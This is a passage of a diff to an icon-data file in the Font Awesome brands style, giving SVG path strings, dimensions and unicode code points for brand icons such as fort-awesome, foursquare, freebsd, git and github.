6zM384 483H243.2v-34.4l28-3.6c7.2-.8 10.4-2.4 10.4-10V287c0-5.6-4-9.2-9.2-10.8l-33.2-8.8 9.2-40.4h110v208c0 8-3.6 8.8 4 10l21.6 3.6V483zm-30-347.2l12.4 45.6-10 10-42.8-22.8-42.8 22.8-10-10 12.4-45.6-30-36.4 4.8-10h38L307.2 51H320l21.2 38.4h38l4.8 13.2-30 33.2z" ], + "fort-awesome": [ 512, 512, [], "f286", "M489.2 287.9h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6V146.2c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-6-8-4.6-11.7-4.6v-38c8.3-2 17.1-3.4 25.7-3.4 10.9 0 20.9 4.3 31.4 4.3 4.6 0 27.7-1.1 27.7-8v-60c0-2.6-2-4.6-4.6-4.6-5.1 0-15.1 4.3-24 4.3-9.7 0-20.9-4.3-32.6-4.3-8 0-16 1.1-23.7 2.9v-4.9c5.4-2.6 9.1-8.3 9.1-14.3 0-20.7-31.4-20.8-31.4 0 0 6 3.7 11.7 9.1 14.3v111.7c-3.7 0-11.7-1.4-11.7 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32H128v-32c0-2.6-2-4.6-4.6-4.6H96c-2.6 0-4.6 2-4.6 4.6v178.3H54.8v-32c0-2.6-2-4.6-4.6-4.6H22.8c-2.6 0-4.6 2-4.6 4.6V512h182.9v-96c0-72.6 109.7-72.6 109.7 0v96h182.9V292.5c.1-2.6-1.9-4.6-4.5-4.6zm-288.1-4.5c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64zm146.4 0c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64z" ], + "fort-awesome-alt": [ 512, 512, [], "f3a3", "M208 237.4h-22.2c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7H208c2.1 0 3.7-1.6 3.7-3.7v-51.7c0-2.1-1.6-3.7-3.7-3.7zm118.2 0H304c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7h22.2c2.1 0 3.7-1.6 3.7-3.7v-51.7c-.1-2.1-1.7-3.7-3.7-3.7zm132-125.1c-2.3-3.2-4.6-6.4-7.1-9.5-9.8-12.5-20.8-24-32.8-34.4-4.5-3.9-9.1-7.6-13.9-11.2-1.6-1.2-3.2-2.3-4.8-3.5C372 34.1 340.3 20 306 13c-16.2-3.3-32.9-5-50-5s-33.9 1.7-50 5c-34.3 7.1-66 21.2-93.3 40.8-1.6 1.1-3.2 2.3-4.8 3.5-4.8 3.6-9.4 7.3-13.9 11.2-3 2.6-5.9 5.3-8.8 8s-5.7 5.5-8.4 8.4c-5.5 5.7-10.7 11.8-15.6 18-2.4 3.1-4.8 6.3-7.1 9.5C25.2 153 8.3 202.5 8.3 256c0 2 .1 4 .1 6 .1.7.1 1.3.1 2 .1 1.3.1 2.7.2 4 0 .8.1 1.5.1 2.3 0 1.3.1 2.5.2 3.7.1.8.1 1.6.2 2.4.1 1.1.2 2.3.3 3.5 0 .8.1 1.6.2 2.4.1 1.2.3 2.4.4 3.6.1.8.2 1.5.3 2.3.1 1.3.3 2.6.5 3.9.1.6.2 1.3.3 1.9l.9 5.7c.1.6.2 1.1.3 1.7.3 1.3.5 2.7.8 4 .2.8.3 1.6.5 2.4.2 1 .5 2.1.7 3.2.2.9.4 1.7.6 2.6.2 1 .4 2 .7 3 .2.9.5 1.8.7 2.7.3 1 .5 1.9.8 2.9.3.9.5 1.8.8 2.7.2.9.5 1.9.8 2.8s.5 1.8.8 2.7c.3 1 .6 1.9.9 2.8.6 1.6 1.1 3.3 1.7 4.9.4 1 .7 1.9 1 2.8.3 1 .7 2 1.1 3 .3.8.6 1.5.9 2.3l1.2 3c.3.7.6 1.5.9 2.2.4 1 .9 2 1.3 3l.9 2.1c.5 1 .9 2 1.4 3 .3.7.6 1.3.9 2 .5 1 1 2.1 1.5 3.1.2.6.5 1.1.8 1.7.6 1.1 1.1 2.2 1.7 3.3.1.2.2.3.3.5 2.2 4.1 4.4 8.2 6.8 12.2.2.4.5.8.7 1.2.7 1.1 1.3 2.2 2 3.3.3.5.6.9.9 1.4.6 1.1 1.3 2.1 2 3.2.3.5.6.9.9 1.4.7 1.1 1.4 2.1 2.1 3.2.2.4.5.8.8 1.2.7 1.1 1.5 2.2 2.3 3.3.2.2.3.5.5.7 37.5 51.7 94.4 88.5 160 99.4.9.1 1.7.3 2.6.4 1 .2 2.1.4 3.1.5s1.9.3 2.8.4c1 .2 2 .3 3 .4.9.1 1.9.2 2.9.3s1.9.2 2.9.3 2.1.2 3.1.3c.9.1 1.8.1 2.7.2 1.1.1 2.3.1 3.4.2.8 0 1.7.1 2.5.1 1.3 0 2.6.1 3.9.1.7.1 1.4.1 2.1.1 2 .1 4 .1 6 .1s4-.1 6-.1c.7 0 1.4-.1 2.1-.1 1.3 0 2.6 0 3.9-.1.8 0 1.7-.1 2.5-.1 1.1-.1 2.3-.1 3.4-.2.9 0 1.8-.1 2.7-.2 1-.1 2.1-.2 3.1-.3s1.9-.2 2.9-.3c.9-.1 1.9-.2 2.9-.3s2-.3 3-.4 1.9-.3 2.8-.4c1-.2 2.1-.3 3.1-.5.9-.1 1.7-.3 2.6-.4 65.6-11 122.5-47.7 160.1-102.4.2-.2.3-.5.5-.7.8-1.1 1.5-2.2 2.3-3.3.2-.4.5-.8.8-1.2.7-1.1 1.4-2.1 2.1-3.2.3-.5.6-.9.9-1.4.6-1.1 1.3-2.1 2-3.2.3-.5.6-.9.9-1.4.7-1.1 1.3-2.2 2-3.3.2-.4.5-.8.7-1.2 2.4-4 4.6-8.1 6.8-12.2.1-.2.2-.3.3-.5.6-1.1 1.1-2.2 1.7-3.3.2-.6.5-1.1.8-1.7.5-1 1-2.1 1.5-3.1.3-.7.6-1.3.9-2 .5-1 1-2 1.4-3l.9-2.1c.5-1 .9-2 1.3-3 .3-.7.6-1.5.9-2.2l1.2-3c.3-.8.6-1.5.9-2.3.4-1 .7-2 1.1-3s.7-1.9 1-2.8c.6-1.6 1.2-3.3 1.7-4.9.3-1 .6-1.9.9-2.8s.5-1.8.8-2.7c.2-.9.5-1.9.8-2.8s.6-1.8.8-2.7c.3-1 .5-1.9.8-2.9.2-.9.5-1.8.7-2.7.2-1 .5-2 .7-3 .2-.9.4-1.7.6-2.6.2-1 .5-2.1.7-3.2.2-.8.3-1.6.5-2.4.3-1.3.6-2.7.8-4 .1-.6.2-1.1.3-1.7l.9-5.7c.1-.6.2-1.3.3-1.9.1-1.3.3-2.6.5-3.9.1-.8.2-1.5.3-2.3.1-1.2.3-2.4.4-3.6 0-.8.1-1.6.2-2.4.1-1.1.2-2.3.3-3.5.1-.8.1-1.6.2-2.4.1 1.7.1.5.2-.7 0-.8.1-1.5.1-2.3.1-1.3.2-2.7.2-4 .1-.7.1-1.3.1-2 .1-2 .1-4 .1-6 0-53.5-16.9-103-45.8-143.7zM448 371.5c-9.4 15.5-20.6 29.9-33.6 42.9-20.6 20.6-44.5 36.7-71.2 48-13.9 5.8-28.2 10.3-42.9 13.2v-75.8c0-58.6-88.6-58.6-88.6 0v75.8c-14.7-2.9-29-7.3-42.9-13.2-26.7-11.3-50.6-27.4-71.2-48-13-13-24.2-27.4-33.6-42.9v-71.3c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7V326h29.6V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7H208c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-4.8 6.5-3.7 9.5-3.7V88.1c-4.4-2-7.4-6.7-7.4-11.5 0-16.8 25.4-16.8 25.4 0 0 4.8-3 9.4-7.4 11.5V92c6.3-1.4 12.7-2.3 19.2-2.3 9.4 0 18.4 3.5 26.3 3.5 7.2 0 15.2-3.5 19.4-3.5 2.1 0 3.7 1.6 3.7 3.7v48.4c0 5.6-18.7 6.5-22.4 6.5-8.6 0-16.6-3.5-25.4-3.5-7 0-14.1 1.2-20.8 2.8v30.7c3 0 9.5-1.1 9.5 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v144h29.5v-25.8c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7z" ], + forumbee: [ 448, 512, [], "f211", "M5.8 309.7C2 292.7 0 275.5 0 258.3 0 135 99.8 35 223.1 35c16.6 0 33.3 2 49.3 5.5C149 87.5 51.9 186 5.8 309.7zm392.9-189.2C385 103 369 87.8 350.9 75.2c-149.6 44.3-266.3 162.1-309.7 312 12.5 18.1 28 35.6 45.2 49 43.1-151.3 161.2-271.7 312.3-315.7zm15.8 252.7c15.2-25.1 25.4-53.7 29.5-82.8-79.4 42.9-145 110.6-187.6 190.3 30-4.4 58.9-15.3 84.6-31.3 35 13.1 70.9 24.3 107 33.6-9.3-36.5-20.4-74.5-33.5-109.8zm29.7-145.5c-2.6-19.5-7.9-38.7-15.8-56.8C290.5 216.7 182 327.5 137.1 466c18.1 7.6 37 12.5 56.6 15.2C240 367.1 330.5 274.4 444.2 227.7z" ], + foursquare: [ 368, 512, [], "f180", "M323.1 3H49.9C12.4 3 0 31.3 0 49.1v433.8c0 20.3 12.1 27.7 18.2 30.1 6.2 2.5 22.8 4.6 32.9-7.1C180 356.5 182.2 354 182.2 354c3.1-3.4 3.4-3.1 6.8-3.1h83.4c35.1 0 40.6-25.2 44.3-39.7l48.6-243C373.8 25.8 363.1 3 323.1 3zm-16.3 73.8l-11.4 59.7c-1.2 6.5-9.5 13.2-16.9 13.2H172.1c-12 0-20.6 8.3-20.6 20.3v13c0 12 8.6 20.6 20.6 20.6h90.4c8.3 0 16.6 9.2 14.8 18.2-1.8 8.9-10.5 53.8-11.4 58.8-.9 4.9-6.8 13.5-16.9 13.5h-73.5c-13.5 0-17.2 1.8-26.5 12.6 0 0-8.9 11.4-89.5 108.3-.9.9-1.8.6-1.8-.3V75.9c0-7.7 6.8-16.6 16.6-16.6h219c8.2 0 15.6 7.7 13.5 17.5z" ], + "free-code-camp": [ 576, 512, [], "f2c5", "M97.22,96.21c10.36-10.65,16-17.12,16-21.9,0-2.76-1.92-5.51-3.83-7.42A14.81,14.81,0,0,0,101,64.05c-8.48,0-20.92,8.79-35.84,25.69C23.68,137,2.51,182.81,3.37,250.34s17.47,117,54.06,161.87C76.22,435.86,90.62,448,100.9,448a13.55,13.55,0,0,0,8.37-3.84c1.91-2.76,3.81-5.63,3.81-8.38,0-5.63-3.86-12.2-13.2-20.55-44.45-42.33-67.32-97-67.48-165C32.25,188.8,54,137.83,97.22,96.21ZM239.47,420.07c.58.37.91.55.91.55Zm93.79.55.17-.13C333.24,420.62,333.17,420.67,333.26,420.62Zm3.13-158.18c-16.24-4.15,50.41-82.89-68.05-177.17,0,0,15.54,49.38-62.83,159.57-74.27,104.35,23.46,168.73,34,175.23-6.73-4.35-47.4-35.7,9.55-128.64,11-18.3,25.53-34.87,43.5-72.16,0,0,15.91,22.45,7.6,71.13C287.7,364,354,342.91,355,343.94c22.75,26.78-17.72,73.51-21.58,76.55,5.49-3.65,117.71-78,33-188.1C360.43,238.4,352.62,266.59,336.39,262.44ZM510.88,89.69C496,72.79,483.52,64,475,64a14.81,14.81,0,0,0-8.39,2.84c-1.91,1.91-3.83,4.66-3.83,7.42,0,4.78,5.6,11.26,16,21.9,43.23,41.61,65,92.59,64.82,154.06-.16,68-23,122.63-67.48,165-9.34,8.35-13.18,14.92-13.2,20.55,0,2.75,1.9,5.62,3.81,8.38A13.61,13.61,0,0,0,475.1,448c10.28,0,24.68-12.13,43.47-35.79,36.59-44.85,53.14-94.38,54.06-161.87S552.32,137,510.88,89.69Z" ], + freebsd: [ 448, 512, [], "f3a4", "M303.7 96.2c11.1-11.1 115.5-77 139.2-53.2 23.7 23.7-42.1 128.1-53.2 139.2-11.1 11.1-39.4.9-63.1-22.9-23.8-23.7-34.1-52-22.9-63.1zM109.9 68.1C73.6 47.5 22 24.6 5.6 41.1c-16.6 16.6 7.1 69.4 27.9 105.7 18.5-32.2 44.8-59.3 76.4-78.7zM406.7 174c3.3 11.3 2.7 20.7-2.7 26.1-20.3 20.3-87.5-27-109.3-70.1-18-32.3-11.1-53.4 14.9-48.7 5.7-3.6 12.3-7.6 19.6-11.6-29.8-15.5-63.6-24.3-99.5-24.3-119.1 0-215.6 96.5-215.6 215.6 0 119 96.5 215.6 215.6 215.6S445.3 380.1 445.3 261c0-38.4-10.1-74.5-27.7-105.8-3.9 7-7.6 13.3-10.9 18.8z" ], + fulcrum: [ 320, 512, [], "f50b", "M95.75 164.14l-35.38 43.55L25 164.14l35.38-43.55zM144.23 0l-20.54 198.18L72.72 256l51 57.82L144.23 512V300.89L103.15 256l41.08-44.89zm79.67 164.14l35.38 43.55 35.38-43.55-35.38-43.55zm-48.48 47L216.5 256l-41.08 44.89V512L196 313.82 247 256l-51-57.82L175.42 0z" ], + "galactic-republic": [ 496, 512, [], "f50c", "M248 504C111.25 504 0 392.75 0 256S111.25 8 248 8s248 111.25 248 248-111.25 248-248 248zm0-479.47C120.37 24.53 16.53 128.37 16.53 256S120.37 487.47 248 487.47 479.47 383.63 479.47 256 375.63 24.53 248 24.53zm27.62 21.81v24.62a185.933 185.933 0 0 1 83.57 34.54l17.39-17.36c-28.75-22.06-63.3-36.89-100.96-41.8zm-55.37.07c-37.64 4.94-72.16 19.8-100.88 41.85l17.28 17.36h.08c24.07-17.84 52.55-30.06 83.52-34.67V46.41zm12.25 50.17v82.87c-10.04 2.03-19.42 5.94-27.67 11.42l-58.62-58.59-21.93 21.93 58.67 58.67c-5.47 8.23-9.45 17.59-11.47 27.62h-82.9v31h82.9c2.02 10.02 6.01 19.31 11.47 27.54l-58.67 58.69 21.93 21.93 58.62-58.62a77.873 77.873 0 0 0 27.67 11.47v82.9h31v-82.9c10.05-2.03 19.37-6.06 27.62-11.55l58.67 58.69 21.93-21.93-58.67-58.69c5.46-8.23 9.47-17.52 11.5-27.54h82.87v-31h-82.87c-2.02-10.02-6.03-19.38-11.5-27.62l58.67-58.67-21.93-21.93-58.67 58.67c-8.25-5.49-17.57-9.47-27.62-11.5V96.58h-31zm183.24 30.72l-17.36 17.36a186.337 186.337 0 0 1 34.67 83.67h24.62c-4.95-37.69-19.83-72.29-41.93-101.03zm-335.55.13c-22.06 28.72-36.91 63.26-41.85 100.91h24.65c4.6-30.96 16.76-59.45 34.59-83.52l-17.39-17.39zM38.34 283.67c4.92 37.64 19.75 72.18 41.8 100.9l17.36-17.39c-17.81-24.07-29.92-52.57-34.51-83.52H38.34zm394.7 0c-4.61 30.99-16.8 59.5-34.67 83.6l17.36 17.36c22.08-28.74 36.98-63.29 41.93-100.96h-24.62zM136.66 406.38l-17.36 17.36c28.73 22.09 63.3 36.98 100.96 41.93v-24.64c-30.99-4.63-59.53-16.79-83.6-34.65zm222.53.05c-24.09 17.84-52.58 30.08-83.57 34.67v24.57c37.67-4.92 72.21-19.79 100.96-41.85l-17.31-17.39h-.08z" ], + "galactic-senate": [ 512, 512, [], "f50d", "M249.86 33.48v26.07C236.28 80.17 226 168.14 225.39 274.9c11.74-15.62 19.13-33.33 19.13-48.24v-16.88c-.03-5.32.75-10.53 2.19-15.65.65-2.14 1.39-4.08 2.62-5.82 1.23-1.75 3.43-3.79 6.68-3.79 3.24 0 5.45 2.05 6.68 3.79 1.23 1.75 1.97 3.68 2.62 5.82 1.44 5.12 2.22 10.33 2.19 15.65v16.88c0 14.91 7.39 32.62 19.13 48.24-.63-106.76-10.91-194.73-24.49-215.35V33.48h-12.28zm-26.34 147.77c-9.52 2.15-18.7 5.19-27.46 9.08 8.9 16.12 9.76 32.64 1.71 37.29-8 4.62-21.85-4.23-31.36-19.82-11.58 8.79-21.88 19.32-30.56 31.09 14.73 9.62 22.89 22.92 18.32 30.66-4.54 7.7-20.03 7.14-35.47-.96-5.78 13.25-9.75 27.51-11.65 42.42 9.68.18 18.67 2.38 26.18 6.04 17.78-.3 32.77-1.96 40.49-4.22 5.55-26.35 23.02-48.23 46.32-59.51.73-25.55 1.88-49.67 3.48-72.07zm64.96 0c1.59 22.4 2.75 46.52 3.47 72.07 23.29 11.28 40.77 33.16 46.32 59.51 7.72 2.26 22.71 3.92 40.49 4.22 7.51-3.66 16.5-5.85 26.18-6.04-1.9-14.91-5.86-29.17-11.65-42.42-15.44 8.1-30.93 8.66-35.47.96-4.57-7.74 3.6-21.05 18.32-30.66-8.68-11.77-18.98-22.3-30.56-31.09-9.51 15.59-23.36 24.44-31.36 19.82-8.05-4.65-7.19-21.16 1.71-37.29a147.49 147.49 0 0 0-27.45-9.08zm-32.48 8.6c-3.23 0-5.86 8.81-6.09 19.93h-.05v16.88c0 41.42-49.01 95.04-93.49 95.04-52 0-122.75-1.45-156.37 29.17v2.51c9.42 17.12 20.58 33.17 33.18 47.97C45.7 380.26 84.77 360.4 141.2 360c45.68 1.02 79.03 20.33 90.76 40.87.01.01-.01.04 0 .05 7.67 2.14 15.85 3.23 24.04 3.21 8.19.02 16.37-1.07 24.04-3.21.01-.01-.01-.04 0-.05 11.74-20.54 45.08-39.85 90.76-40.87 56.43.39 95.49 20.26 108.02 41.35 12.6-14.8 23.76-30.86 33.18-47.97v-2.51c-33.61-30.62-104.37-29.17-156.37-29.17-44.48 0-93.49-53.62-93.49-95.04v-16.88h-.05c-.23-11.12-2.86-19.93-6.09-19.93zm0 96.59c22.42 0 40.6 18.18 40.6 40.6s-18.18 40.65-40.6 40.65-40.6-18.23-40.6-40.65c0-22.42 18.18-40.6 40.6-40.6zm0 7.64c-18.19 0-32.96 14.77-32.96 32.96S237.81 360 256 360s32.96-14.77 32.96-32.96-14.77-32.96-32.96-32.96zm0 6.14c14.81 0 26.82 12.01 26.82 26.82s-12.01 26.82-26.82 26.82-26.82-12.01-26.82-26.82 12.01-26.82 26.82-26.82zm-114.8 66.67c-10.19.07-21.6.36-30.5 1.66.43 4.42 1.51 18.63 7.11 29.76 9.11-2.56 18.36-3.9 27.62-3.9 41.28.94 71.48 34.35 78.26 74.47l.11 4.7c10.4 1.91 21.19 2.94 32.21 2.94 11.03 0 21.81-1.02 32.21-2.94l.11-4.7c6.78-40.12 36.98-73.53 78.26-74.47 9.26 0 18.51 1.34 27.62 3.9 5.6-11.13 6.68-25.34 7.11-29.76-8.9-1.3-20.32-1.58-30.5-1.66-18.76.42-35.19 4.17-48.61 9.67-12.54 16.03-29.16 30.03-49.58 33.07-.09.02-.17.04-.27.05-.05.01-.11.04-.16.05-5.24 1.07-10.63 1.6-16.19 1.6-5.55 0-10.95-.53-16.19-1.6-.05-.01-.11-.04-.16-.05-.1-.02-.17-.04-.27-.05-20.42-3.03-37.03-17.04-49.58-33.07-13.42-5.49-29.86-9.25-48.61-9.67z" ], + "get-pocket": [ 448, 512, [], "f265", "M407.6 64h-367C18.5 64 0 82.5 0 104.6v135.2C0 364.5 99.7 464 224.2 464c124 0 223.8-99.5 223.8-224.2V104.6c0-22.4-17.7-40.6-40.4-40.6zm-162 268.5c-12.4 11.8-31.4 11.1-42.4 0C89.5 223.6 88.3 227.4 88.3 209.3c0-16.9 13.8-30.7 30.7-30.7 17 0 16.1 3.8 105.2 89.3 90.6-86.9 88.6-89.3 105.5-89.3 16.9 0 30.7 13.8 30.7 30.7 0 17.8-2.9 15.7-114.8 123.2z" ], + gg: [ 512, 512, [], "f260", "M179.2 230.4l102.4 102.4-102.4 102.4L0 256 179.2 76.8l44.8 44.8-25.6 25.6-19.2-19.2-128 128 128 128 51.5-51.5-77.1-76.5 25.6-25.6zM332.8 76.8L230.4 179.2l102.4 102.4 25.6-25.6-77.1-76.5 51.5-51.5 128 128-128 128-19.2-19.2-25.6 25.6 44.8 44.8L512 256 332.8 76.8z" ], + "gg-circle": [ 512, 512, [], "f261", "M257 8C120 8 9 119 9 256s111 248 248 248 248-111 248-248S394 8 257 8zm-49.5 374.8L81.8 257.1l125.7-125.7 35.2 35.4-24.2 24.2-11.1-11.1-77.2 77.2 77.2 77.2 26.6-26.6-53.1-52.9 24.4-24.4 77.2 77.2-75 75.2zm99-2.2l-35.2-35.2 24.1-24.4 11.1 11.1 77.2-77.2-77.2-77.2-26.5 26.5 53.1 52.9-24.4 24.4-77.2-77.2 75-75L432.2 255 306.5 380.6z" ], + git: [ 512, 512, [], "f1d3", "M216.29 158.39H137C97 147.9 6.51 150.63 6.51 233.18c0 30.09 15 51.23 35 61-25.1 23-37 33.85-37 49.21 0 11 4.47 21.14 17.89 26.81C8.13 383.61 0 393.35 0 411.65c0 32.11 28.05 50.82 101.63 50.82 70.75 0 111.79-26.42 111.79-73.18 0-58.66-45.16-56.5-151.63-63l13.43-21.55c27.27 7.58 118.7 10 118.7-67.89 0-18.7-7.73-31.71-15-41.07l37.41-2.84zm-63.42 241.9c0 32.06-104.89 32.1-104.89 2.43 0-8.14 5.27-15 10.57-21.54 77.71 5.3 94.32 3.37 94.32 19.11zm-50.81-134.58c-52.8 0-50.46-71.16 1.2-71.16 49.54 0 50.82 71.16-1.2 71.16zm133.3 100.51v-32.1c26.75-3.66 27.24-2 27.24-11V203.61c0-8.5-2.05-7.38-27.24-16.26l4.47-32.92H324v168.71c0 6.51.4 7.32 6.51 8.14l20.73 2.84v32.1zm52.45-244.31c-23.17 0-36.59-13.43-36.59-36.61s13.42-35.77 36.59-35.77c23.58 0 37 12.62 37 35.77s-13.42 36.61-37 36.61zM512 350.46c-17.49 8.53-43.1 16.26-66.28 16.26-48.38 0-66.67-19.5-66.67-65.46V194.75c0-5.42 1.05-4.06-31.71-4.06V154.5c35.78-4.07 50-22 54.47-66.27h38.63c0 65.83-1.34 61.81 3.26 61.81H501v40.65h-60.56v97.15c0 6.92-4.92 51.41 60.57 26.84z" ], + "git-alt": [ 448, 512, [], "f841", "M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z" ], + "git-square": [ 448, 512, [], "f1d2", "M100.59 334.24c48.57 3.31 58.95 2.11 58.95 11.94 0 20-65.55 20.06-65.55 1.52.01-5.09 3.29-9.4 6.6-13.46zm27.95-116.64c-32.29 0-33.75 44.47-.75 44.47 32.51 0 31.71-44.47.75-44.47zM448 80v352a48 48 0 0 1-48 48H48a48 48 0 0 1-48-48V80a48 48 0 0 1 48-48h352a48 48 0 0 1 48 48zm-227 69.31c0 14.49 8.38 22.88 22.86 22.88 14.74 0 23.13-8.39 23.13-22.88S258.62 127 243.88 127c-14.48 0-22.88 7.84-22.88 22.31zM199.18 195h-49.55c-25-6.55-81.56-4.85-81.56 46.75 0 18.8 9.4 32 21.85 38.11C74.23 294.23 66.8 301 66.8 310.6c0 6.87 2.79 13.22 11.18 16.76-8.9 8.4-14 14.48-14 25.92C64 373.35 81.53 385 127.52 385c44.22 0 69.87-16.51 69.87-45.73 0-36.67-28.23-35.32-94.77-39.38l8.38-13.43c17 4.74 74.19 6.23 74.19-42.43 0-11.69-4.83-19.82-9.4-25.67l23.38-1.78zm84.34 109.84l-13-1.78c-3.82-.51-4.07-1-4.07-5.09V192.52h-52.6l-2.79 20.57c15.75 5.55 17 4.86 17 10.17V298c0 5.62-.31 4.58-17 6.87v20.06h72.42zM384 315l-6.87-22.37c-40.93 15.37-37.85-12.41-37.85-16.73v-60.72h37.85v-25.41h-35.82c-2.87 0-2 2.52-2-38.63h-24.18c-2.79 27.7-11.68 38.88-34 41.42v22.62c20.47 0 19.82-.85 19.82 2.54v66.57c0 28.72 11.43 40.91 41.67 40.91 14.45 0 30.45-4.83 41.38-10.2z" ], + github: [ 496, 512, [], "f09b", "M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z" ], + "github-alt": [ 480, 512, [], "f113", "M186.1 328.7c0 20.9-10.9 55.1-36.7 55.1s-36.7-34.2-36.7-55.1 10.9-55.1 36.7-55.1 36.7 34.2 36.7 55.1zM480 278.2c0 31.9-3.2 65.7-17.5 95-37.9 76.6-142.1 74.8-216.7 74.8-75.8 0-186.2 2.7-225.6-74.8-14.6-29-20.2-63.1-20.2-95 0-41.9 13.9-81.5 41.5-113.6-5.2-15.8-7.7-32.4-7.7-48.8 0-21.5 4.9-32.3 14.6-51.8 45.3 0 74.3 9 108.8 36 29-6.9 58.8-10 88.7-10 27 0 54.2 2.9 80.4 9.2 34-26.7 63-35.2 107.8-35.2 9.8 19.5 14.6 30.3 14.6 51.8 0 16.4-2.6 32.7-7.7 48.2 27.5 32.4 39 72.3 39 114.2zm-64.3 50.5c0-43.9-26.7-82.6-73.5-82.6-18.9 0-37 3.4-56 6-14.9 2.3-29.8 3.2-45.1 3.2-15.2 0-30.1-.9-45.1-3.2-18.7-2.6-37-6-56-6-46.8 0-73.5 38.7-73.5 82.6 0 87.8 80.4 101.3 150.4 101.3h48.2c70.3 0 150.6-13.4 150.6-101.3zm-82.6-55.1c-25.8 0-36.7 34.2-36.7 55.1s10.9 55.1 36.7 55.1 36.7-34.2 36.7-55.1-10.9-55.1-36.7-55.1z" ], + "github-square": [ 448, 512, [], "f092", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM277.3 415.7c-8.4 1.5-11.5-3.7-11.5-8 0-5.4.2-33 .2-55.3 0-15.6-5.2-25.5-11.3-30.7 37-4.1 76-9.2 76-73.1 0-18.2-6.5-27.3-17.1-39 1.7-4.3 7.4-22-1.7-45-13.9-4.3-45.7 17.9-45.7 17.9-13.2-3.7-27.5-5.6-41.6-5.6-14.1 0-28.4 1.9-41.6 5.6 0 0-31.8-22.2-45.7-17.9-9.1 22.9-3.5 40.6-1.7 45-10.6 11.7-15.6 20.8-15.6 39 0 63.6 37.3 69 74.3 73.1-4.8 4.3-9.1 11.7-10.6 22.3-9.5 4.3-33.8 11.7-48.3-13.9-9.1-15.8-25.5-17.1-25.5-17.1-16.2-.2-1.1 10.2-1.1 10.2 10.8 5 18.4 24.2 18.4 24.2 9.7 29.7 56.1 19.7 56.1 19.7 0 13.9.2 36.5.2 40.6 0 4.3-3 9.5-11.5 8-66-22.1-112.2-84.9-112.2-158.3 0-91.8 70.2-161.5 162-161.5S388 